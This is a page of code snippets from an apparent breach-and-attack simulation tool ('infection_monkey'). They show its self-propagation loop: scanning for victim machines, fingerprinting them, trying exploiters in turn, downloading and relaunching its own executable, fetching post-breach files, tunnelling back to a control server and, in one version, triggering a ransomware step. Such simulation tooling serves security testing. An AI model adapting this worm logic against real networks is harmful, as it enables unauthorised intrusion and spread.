示例#1
0
    def download_pba_file(dst_dir, filename):
        """
        Handles post breach action file download
        :param dst_dir: Destination directory
        :param filename: Filename
        :return: True if successful, false otherwise
        """

        pba_file_contents = ControlClient.get_pba_file(filename)

        status = None
        if not pba_file_contents or not pba_file_contents.content:
            LOG.error("Island didn't respond with post breach file.")
            status = ScanStatus.SCANNED

        if not status:
            status = ScanStatus.USED

        T1105Telem(
            status,
            WormConfiguration.current_server.split(':')[0],
            get_interface_to_target(
                WormConfiguration.current_server.split(':')[0]),
            filename).send()

        if status == ScanStatus.SCANNED:
            return False

        try:
            with open(os.path.join(dst_dir, filename),
                      'wb') as written_PBA_file:
                written_PBA_file.write(pba_file_contents.content)
            return True
        except IOError as e:
            LOG.error("Can not upload post breach file to target machine: %s" %
                      e)
            return False
示例#2
0
def get_target_monkey(host):
    from infection_monkey.control import ControlClient
    import platform
    import sys

    if host.monkey_exe:
        return host.monkey_exe

    if not host.os.get('type'):
        return None

    monkey_path = ControlClient.download_monkey_exe(host)

    if host.os.get('machine') and monkey_path:
        host.monkey_exe = monkey_path

    if not monkey_path:
        if host.os.get('type') == platform.system().lower():
            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
            if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
                    host.os.get('machine', '').lower() == platform.machine().lower():
                monkey_path = sys.executable

    return monkey_path
示例#3
0
    def upgrade(opts):
        try:
            monkey_64_path = ControlClient.download_monkey_exe_by_os(
                True, False)
            with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
                with open(WormConfiguration.dropper_target_path_win_64,
                          'wb') as written_monkey_file:
                    shutil.copyfileobj(downloaded_monkey_file,
                                       written_monkey_file)
        except (IOError, AttributeError) as e:
            LOG.error("Failed to download the Monkey to the target path: %s." %
                      e)
            return

        monkey_options = build_monkey_commandline_explicitly(
            opts.parent, opts.tunnel, opts.server, opts.depth)

        monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
            'monkey_path': WormConfiguration.dropper_target_path_win_64
        } + monkey_options

        monkey_process = subprocess.Popen(monkey_cmdline,
                                          shell=True,
                                          stdin=None,
                                          stdout=None,
                                          stderr=None,
                                          close_fds=True,
                                          creationflags=DETACHED_PROCESS)

        LOG.info(
            "Executed 64bit monkey process (PID=%d) with command line: %s",
            monkey_process.pid, monkey_cmdline)

        time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
        if monkey_process.poll() is not None:
            LOG.error("Seems like monkey died too soon")
示例#4
0
文件: monkey.py 项目: zkbupt/monkey
    def start(self):
        try:
            LOG.info("Monkey is starting...")

            LOG.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if self.is_started_on_island():
                ControlClient.report_start_on_island()
            ControlClient.should_monkey_run(self._opts.vulnerable_port)

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            monkey_tunnel = ControlClient.create_control_tunnel()
            if monkey_tunnel:
                monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            LOG.debug("Starting the post-breach phase.")
            self.collect_system_info_if_configured()
            PostBreach().execute_all_configured()

            LOG.debug("Starting the propagation phase.")
            self.shutdown_by_max_depth_reached()

            for iteration_index in range(WormConfiguration.max_iterations):
                ControlClient.keepalive()
                ControlClient.load_control_config()

                self._network.initialize()

                self._fingerprint = HostFinger.get_instances()

                self._exploiters = HostExploiter.get_classes()

                if not self._keep_running or not WormConfiguration.alive:
                    break

                machines = self._network.get_victim_machines(
                    max_find=WormConfiguration.victims_max_find,
                    stop_callback=ControlClient.check_for_stop)
                is_empty = True
                for machine in machines:
                    if ControlClient.check_for_stop():
                        break

                    is_empty = False
                    for finger in self._fingerprint:
                        LOG.info(
                            "Trying to get OS fingerprint from %r with module %s",
                            machine, finger.__class__.__name__)
                        finger.get_host_fingerprint(machine)

                    ScanTelem(machine).send()

                    # skip machines that we've already exploited
                    if machine in self._exploited_machines:
                        LOG.debug("Skipping %r - already exploited", machine)
                        continue
                    elif machine in self._fail_exploitation_machines:
                        if WormConfiguration.retry_failed_explotation:
                            LOG.debug(
                                "%r - exploitation failed before, trying again",
                                machine)
                        else:
                            LOG.debug(
                                "Skipping %r - exploitation failed before",
                                machine)
                            continue

                    if monkey_tunnel:
                        monkey_tunnel.set_tunnel_for_host(machine)
                    if self._default_server:
                        if self._network.on_island(self._default_server):
                            machine.set_default_server(
                                get_interface_to_target(machine.ip_addr) +
                                (':' + self._default_server_port if self.
                                 _default_server_port else ''))
                        else:
                            machine.set_default_server(self._default_server)
                        LOG.debug("Default server for machine: %r set to %s" %
                                  (machine, machine.default_server))

                    # Order exploits according to their type
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                    if not self._keep_running:
                        break

                if (not is_empty) and (WormConfiguration.max_iterations >
                                       iteration_index + 1):
                    time_to_sleep = WormConfiguration.timeout_between_iterations
                    LOG.info(
                        "Sleeping %d seconds before next life cycle iteration",
                        time_to_sleep)
                    time.sleep(time_to_sleep)

            if self._keep_running and WormConfiguration.alive:
                LOG.info("Reached max iterations (%d)",
                         WormConfiguration.max_iterations)
            elif not WormConfiguration.alive:
                LOG.info("Marked not alive from configuration")

            # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                LOG.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel",
                    time_to_sleep)
                time.sleep(time_to_sleep)

            if monkey_tunnel:
                monkey_tunnel.stop()
                monkey_tunnel.join()
        except PlannedShutdownException:
            LOG.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution."
            )
            LOG.exception("Planned shutdown, reason:")
示例#5
0
def get_target_monkey_by_os(is_windows, is_32bit):
    from infection_monkey.control import ControlClient

    return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
示例#6
0
    def start(self):
        LOG.info("Monkey is running...")

        if not ControlClient.find_server(default_tunnel=self._default_tunnel):
            LOG.info("Monkey couldn't find server. Going down.")
            return

        # Create a dir for monkey files if there isn't one
        utils.create_monkey_dir()

        if WindowsUpgrader.should_upgrade():
            self._upgrading_to_64 = True
            self._singleton.unlock()
            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
            WindowsUpgrader.upgrade(self._opts)
            return

        ControlClient.wakeup(parent=self._parent)
        ControlClient.load_control_config()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        if firewall.is_enabled():
            firewall.add_firewall_rule()

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        ControlClient.send_telemetry("state", {'done': False})

        self._default_server = WormConfiguration.current_server
        LOG.debug("default server: %s" % self._default_server)
        ControlClient.send_telemetry(
            "tunnel", {'proxy': ControlClient.proxies.get('https')})

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            ControlClient.send_telemetry("system_info_collection", system_info)

        for action_class in WormConfiguration.post_breach_actions:
            action = action_class()
            action.act()

        PostBreach().execute()

        if 0 == WormConfiguration.depth:
            LOG.debug("Reached max depth, shutting down")
            ControlClient.send_telemetry("trace",
                                         "Reached max depth, shutting down")
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ControlClient.send_telemetry('scan', {
                    'machine': machine.as_dict(),
                })

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    LOG.debug("Default server: %s set to machine: %r" %
                              (self._default_server, machine))
                    machine.set_default_server(self._default_server)

                # Order exploits according to their type
                self._exploiters = sorted(
                    self._exploiters,
                    key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                host_exploited = False
                for exploiter in [
                        exploiter(machine) for exploiter in self._exploiters
                ]:
                    if self.try_exploiting(machine, exploiter):
                        host_exploited = True
                        VictimHostTelem('T1210',
                                        ScanStatus.USED.value,
                                        machine=machine).send()
                        break
                if not host_exploited:
                    self._fail_exploitation_machines.add(machine)
                    VictimHostTelem('T1210',
                                    ScanStatus.SCANNED.value,
                                    machine=machine).send()
                if not self._keep_running:
                    break

            if (not is_empty) and (WormConfiguration.max_iterations >
                                   iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info(
                    "Sleeping %d seconds before next life cycle iteration",
                    time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)",
                     WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info(
                "Sleeping %d seconds for exploited machines to connect to tunnel",
                time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
示例#7
0
文件: monkey.py 项目: u53r55/monkey
    def start(self):
        LOG.info("Monkey is running...")

        if not ControlClient.find_server(default_tunnel=self._default_tunnel):
            LOG.info("Monkey couldn't find server. Going down.")
            return

        if WindowsUpgrader.should_upgrade():
            self._upgrading_to_64 = True
            self._singleton.unlock()
            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
            WindowsUpgrader.upgrade(self._opts)
            return

        ControlClient.wakeup(parent=self._parent)
        ControlClient.load_control_config()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        if firewall.is_enabled():
            firewall.add_firewall_rule()

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        ControlClient.send_telemetry("state", {'done': False})

        self._default_server = WormConfiguration.current_server
        LOG.debug("default server: %s" % self._default_server)
        ControlClient.send_telemetry(
            "tunnel", {'proxy': ControlClient.proxies.get('https')})

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            ControlClient.send_telemetry("system_info_collection", system_info)

        if 0 == WormConfiguration.depth:
            LOG.debug("Reached max depth, shutting down")
            ControlClient.send_telemetry("trace",
                                         "Reached max depth, shutting down")
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            LOG.debug("Users to try: %s" %
                      str(WormConfiguration.exploit_user_list))
            LOG.debug("Passwords to try: %s" %
                      str(WormConfiguration.exploit_password_list))

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                WormConfiguration.scanner_class,
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ControlClient.send_telemetry(
                    'scan', {
                        'machine': machine.as_dict(),
                        'scanner': WormConfiguration.scanner_class.__name__
                    })

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    LOG.debug("Default server: %s set to machine: %r" %
                              (self._default_server, machine))
                    machine.set_default_server(self._default_server)

                successful_exploiter = None
                for exploiter in [
                        exploiter(machine) for exploiter in self._exploiters
                ]:
                    if not exploiter.is_os_supported():
                        LOG.info(
                            "Skipping exploiter %s host:%r, os is not supported",
                            exploiter.__class__.__name__, machine)
                        continue

                    LOG.info("Trying to exploit %r with exploiter %s...",
                             machine, exploiter.__class__.__name__)

                    result = False
                    try:
                        result = exploiter.exploit_host()
                        if result:
                            successful_exploiter = exploiter
                            break
                        else:
                            LOG.info("Failed exploiting %r with exploiter %s",
                                     machine, exploiter.__class__.__name__)

                    except Exception as exc:
                        LOG.exception(
                            "Exception while attacking %s using %s: %s",
                            machine, exploiter.__class__.__name__, exc)
                    finally:
                        exploiter.send_exploit_telemetry(result)

                if successful_exploiter:
                    self._exploited_machines.add(machine)

                    LOG.info("Successfully propagated to %s using %s", machine,
                             successful_exploiter.__class__.__name__)

                    # check if max-exploitation limit is reached
                    if WormConfiguration.victims_max_exploit <= len(
                            self._exploited_machines):
                        self._keep_running = False

                        LOG.info("Max exploited victims reached (%d)",
                                 WormConfiguration.victims_max_exploit)
                        break
                else:
                    self._fail_exploitation_machines.add(machine)

            if (not is_empty) and (WormConfiguration.max_iterations >
                                   iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info(
                    "Sleeping %d seconds before next life cycle iteration",
                    time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)",
                     WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info(
                "Sleeping %d seconds for exploited machines to connect to tunnel",
                time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
示例#8
0
 def send_exploit_telemetry(self, result):
     from infection_monkey.control import ControlClient
     ControlClient.send_telemetry(
         'exploit',
         {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
          'info': self._exploit_info, 'attempts': self._exploit_attempts})
示例#9
0
    def start(self):
        LOG.info("Monkey is running...")

        # Sets island's IP and port for monkey to communicate to
        if not self.set_default_server():
            return
        self.set_default_port()

        # Create a dir for monkey files if there isn't one
        create_monkey_dir()

        if WindowsUpgrader.should_upgrade():
            self._upgrading_to_64 = True
            self._singleton.unlock()
            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
            WindowsUpgrader.upgrade(self._opts)
            return

        ControlClient.wakeup(parent=self._parent)
        ControlClient.load_control_config()

        if is_windows_os():
            T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        if firewall.is_enabled():
            firewall.add_firewall_rule()

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        StateTelem(is_done=False).send()
        TunnelTelem().send()

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            SystemInfoTelem(system_info).send()

        # Executes post breach actions
        PostBreach().execute()

        if 0 == WormConfiguration.depth:
            TraceTelem("Reached max depth, shutting down").send()
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ScanTelem(machine).send()

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    if self._network.on_island(self._default_server):
                        machine.set_default_server(
                            get_interface_to_target(machine.ip_addr) +
                            (':' + self._default_server_port if self.
                             _default_server_port else ''))
                    else:
                        machine.set_default_server(self._default_server)
                    LOG.debug("Default server for machine: %r set to %s" %
                              (machine, machine.default_server))

                # Order exploits according to their type
                if WormConfiguration.should_exploit:
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                if not self._keep_running:
                    break

            if (not is_empty) and (WormConfiguration.max_iterations >
                                   iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info(
                    "Sleeping %d seconds before next life cycle iteration",
                    time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)",
                     WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info(
                "Sleeping %d seconds for exploited machines to connect to tunnel",
                time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
示例#10
0
    def propagate(self):
        for iteration_index in range(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._fingerprint = HostFinger.get_instances()

            self._exploiters = HostExploiter.get_classes()

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop,
            )
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    logger.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine,
                        finger.__class__.__name__,
                    )
                    try:
                        finger.get_host_fingerprint(machine)
                    except BaseException as exc:
                        logger.error(
                            "Failed to run fingerprinter %s, exception %s"
                            % finger.__class__.__name__,
                            str(exc),
                        )

                ScanTelem(machine).send()

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    logger.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        logger.debug("%r - exploitation failed before, trying again", machine)
                    else:
                        logger.debug("Skipping %r - exploitation failed before", machine)
                        continue

                if self._monkey_tunnel:
                    self._monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    if self._network.on_island(self._default_server):
                        machine.set_default_server(
                            get_interface_to_target(machine.ip_addr)
                            + (":" + self._default_server_port if self._default_server_port else "")
                        )
                    else:
                        machine.set_default_server(self._default_server)
                    logger.debug(
                        "Default server for machine: %r set to %s"
                        % (machine, machine.default_server)
                    )

                # Order exploits according to their type
                self._exploiters = sorted(
                    self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value
                )
                host_exploited = False
                for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
                    if self.try_exploiting(machine, exploiter):
                        host_exploited = True
                        VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send()
                        if exploiter.RUNS_AGENT_ON_SUCCESS:
                            break  # if adding machine to exploited, won't try other exploits
                            # on it
                if not host_exploited:
                    self._fail_exploitation_machines.add(machine)
                    VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send()
                if not self._keep_running:
                    break

            if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                logger.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            logger.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            logger.info("Marked not alive from configuration")
示例#11
0
    def start(self):
        try:
            logger.info("Monkey is starting...")

            logger.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if is_running_on_island():
                WormConfiguration.started_on_island = True
                ControlClient.report_start_on_island()

            if not ControlClient.should_monkey_run(self._opts.vulnerable_port):
                raise PlannedShutdownException(
                    "Monkey shouldn't run on current machine "
                    "(it will be exploited later with more depth)."
                )

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            self._monkey_tunnel = ControlClient.create_control_tunnel()
            if self._monkey_tunnel:
                self._monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            logger.debug("Starting the post-breach phase asynchronously.")
            self._post_breach_phase = Thread(target=self.start_post_breach_phase)
            self._post_breach_phase.start()

            if not InfectionMonkey.max_propagation_depth_reached():
                logger.info("Starting the propagation phase.")
                logger.debug("Running with depth: %d" % WormConfiguration.depth)
                self.propagate()
            else:
                logger.info(
                    "Maximum propagation depth has been reached; monkey will not propagate."
                )
                TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send()

            if self._keep_running and WormConfiguration.alive:
                InfectionMonkey.run_ransomware()

            # if host was exploited, before continue to closing the tunnel ensure the exploited
            # host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                logger.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
                )
                time.sleep(time_to_sleep)

        except PlannedShutdownException:
            logger.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing "
                "execution."
            )
            logger.exception("Planned shutdown, reason:")

        finally:
            if self._monkey_tunnel:
                self._monkey_tunnel.stop()
                self._monkey_tunnel.join()

            if self._post_breach_phase:
                self._post_breach_phase.join()